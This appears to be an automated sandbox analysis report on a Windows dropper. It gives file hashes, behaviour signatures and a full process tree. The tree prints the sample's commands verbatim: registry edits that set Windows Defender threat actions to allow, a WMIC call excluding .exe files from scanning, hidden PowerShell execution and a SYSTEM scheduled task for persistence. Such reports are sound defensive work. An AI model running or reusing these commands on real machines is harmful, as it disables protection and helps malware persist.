Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    01-06-2024 07:01

General

  • Target

    0cfef44869bde7863fa4c594716e81ab97ef5e470b12a08dc905b868538f8940.exe

  • Size

    7.3MB

  • MD5

    122f64c7a0bca73dcd4d3cab82e57709

  • SHA1

    ba6de165609f416c0bc70758dba9684a0481e5cf

  • SHA256

    0cfef44869bde7863fa4c594716e81ab97ef5e470b12a08dc905b868538f8940

  • SHA512

    cd5820d9f48046c942d2f19f881f8fbb8940d308851d57e74f143afa9af1f55650884c8708424e4d8f51e551d6d7888894bec87a0aa53ebb20c40420dce6f133

  • SSDEEP

    98304:91OM7zGlO71urJrHnE+TSNc+++jad882S0cSLbEi2a4t2ZPNO4Vn+zurE/2Z3SZU:91OYNIrJzE+TizKH0tE3ay2ZwNR+vb7

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 33 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0cfef44869bde7863fa4c594716e81ab97ef5e470b12a08dc905b868538f8940.exe
    "C:\Users\Admin\AppData\Local\Temp\0cfef44869bde7863fa4c594716e81ab97ef5e470b12a08dc905b868538f8940.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3928
    • C:\Users\Admin\AppData\Local\Temp\7zS7A31.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2348
      • C:\Users\Admin\AppData\Local\Temp\7zS7C35.tmp\Install.exe
        .\Install.exe /AevdidFejp "385128" /S
        3⤵
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:4632
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4572
          • C:\Windows\SysWOW64\forfiles.exe
            forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:396
            • C:\Windows\SysWOW64\cmd.exe
              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1752
              • \??\c:\windows\SysWOW64\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                7⤵
                  PID:4912
            • C:\Windows\SysWOW64\forfiles.exe
              forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3552
              • C:\Windows\SysWOW64\cmd.exe
                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:484
                • \??\c:\windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                  7⤵
                    PID:3136
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3524
                • C:\Windows\SysWOW64\cmd.exe
                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4468
                  • \??\c:\windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                    7⤵
                      PID:2576
                • C:\Windows\SysWOW64\forfiles.exe
                  forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1832
                  • C:\Windows\SysWOW64\cmd.exe
                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3692
                    • \??\c:\windows\SysWOW64\reg.exe
                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                      7⤵
                        PID:4964
                  • C:\Windows\SysWOW64\forfiles.exe
                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1908
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3180
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:1944
                        • C:\Windows\SysWOW64\gpupdate.exe
                          "C:\Windows\system32\gpupdate.exe" /force
                          8⤵
                            PID:4868
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2636
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:488
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                        6⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4948
                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                          7⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1660
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /CREATE /TN "btZaCbGShXZoJDfvCg" /SC once /ST 07:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS7C35.tmp\Install.exe\" PP /hAididJhRN 385128 /S" /V1 /F
                    4⤵
                    • Drops file in Windows directory
                    • Creates scheduled task(s)
                    PID:1588
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn btZaCbGShXZoJDfvCg"
                    4⤵
                      PID:3112
                      • C:\Windows\SysWOW64\cmd.exe
                        /C schtasks /run /I /tn btZaCbGShXZoJDfvCg
                        5⤵
                          PID:2092
                          • \??\c:\windows\SysWOW64\schtasks.exe
                            schtasks /run /I /tn btZaCbGShXZoJDfvCg
                            6⤵
                              PID:1580
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 1068
                          4⤵
                          • Program crash
                          PID:4808
                  • C:\Users\Admin\AppData\Local\Temp\7zS7C35.tmp\Install.exe
                    C:\Users\Admin\AppData\Local\Temp\7zS7C35.tmp\Install.exe PP /hAididJhRN 385128 /S
                    1⤵
                    • Executes dropped EXE
                    • Drops desktop.ini file(s)
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    PID:988
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                      2⤵
                        PID:4544
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                          3⤵
                            PID:3676
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                              4⤵
                                PID:4580
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                  5⤵
                                    PID:4680
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                3⤵
                                  PID:4476
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                    4⤵
                                      PID:3004
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                        5⤵
                                          PID:2752
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                      3⤵
                                        PID:2764
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                          4⤵
                                            PID:2512
                                            • \??\c:\windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                              5⤵
                                                PID:2640
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                            3⤵
                                              PID:4380
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                4⤵
                                                  PID:1980
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                    5⤵
                                                      PID:3200
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                  3⤵
                                                    PID:3724
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                      4⤵
                                                        PID:1028
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                          5⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Drops file in System32 directory
                                                          • Modifies data under HKEY_USERS
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:4728
                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                            6⤵
                                                              PID:4644
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                      2⤵
                                                      • Drops file in System32 directory
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2900
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:4448
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                            4⤵
                                                              PID:1540
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                              PID:1584
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                              3⤵
                                                                PID:1276
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                3⤵
                                                                  PID:3216
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:3540
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                      PID:3592
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                      3⤵
                                                                        PID:2508
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                        3⤵
                                                                          PID:3760
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                          3⤵
                                                                            PID:2840
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                            3⤵
                                                                              PID:4576
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                              3⤵
                                                                                PID:3536
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                3⤵
                                                                                  PID:2344
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                  3⤵
                                                                                    PID:3544
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                    3⤵
                                                                                      PID:2956
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                      3⤵
                                                                                        PID:2180
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                        3⤵
                                                                                          PID:4060
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                          3⤵
                                                                                            PID:1164
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                            3⤵
                                                                                              PID:2248
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                              3⤵
                                                                                                PID:3484
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                3⤵
                                                                                                  PID:744
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                  3⤵
                                                                                                    PID:3588
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                    3⤵
                                                                                                      PID:2504
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                      3⤵
                                                                                                        PID:3564
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                        3⤵
                                                                                                          PID:3464
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                          3⤵
                                                                                                            PID:4348
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                            3⤵
                                                                                                              PID:1944
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                              3⤵
                                                                                                                PID:3180
                                                                                                              • C:\Windows\SysWOW64\reg.exe
